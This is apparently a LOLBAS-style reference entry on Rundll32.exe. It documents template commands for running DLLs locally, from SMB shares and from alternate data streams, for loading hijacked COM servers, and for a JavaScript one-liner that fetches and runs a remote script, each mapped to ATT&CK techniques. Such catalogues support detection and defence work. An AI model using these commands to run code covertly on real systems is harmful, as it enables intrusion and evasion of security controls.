.. /Rundll32.exe
Used by Windows to execute dll files
Paths:
- C:\Windows\System32\rundll32.exe
- C:\Windows\SysWOW64\rundll32.exe
Execute
-
First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute.
rundll32.exe {PATH},EntryPoint
- Use case
- Execute DLL file
- Privileges required
- User
- Operating systems
- Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
- ATT&CK® technique
- T1218.011
- Tags
Execute: DLL
-
Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute.
rundll32.exe {PATH_SMB:.dll},EntryPoint
- Use case
- Execute DLL from SMB share.
- Privileges required
- User
- Operating systems
- Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
- ATT&CK® technique
- T1218.011
- Tags
Execute: DLL
Execute: Remote
-
Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:{REMOTEURL}")
- Use case
- Execute code from Internet
- Privileges required
- User
- Operating systems
- Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
- ATT&CK® technique
- T1218.011
- Tags
Execute: JScript
-
Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.
rundll32.exe -sta {CLSID}
- Use case
- Execute a DLL/EXE COM server payload or ScriptletURL code.
- Privileges required
- User
- Operating systems
- Windows 10 (and likely previous versions), Windows 11
- ATT&CK® technique
- T1218.011
- Tags
Execute: COM
Alternate data streams
-
Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).
rundll32 "{PATH}:ADSDLL.dll",DllMain
- Use case
- Execute code from alternate data stream
- Privileges required
- User
- Operating systems
- Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
- ATT&CK® technique
- T1564.004
- Tags
Execute: DLL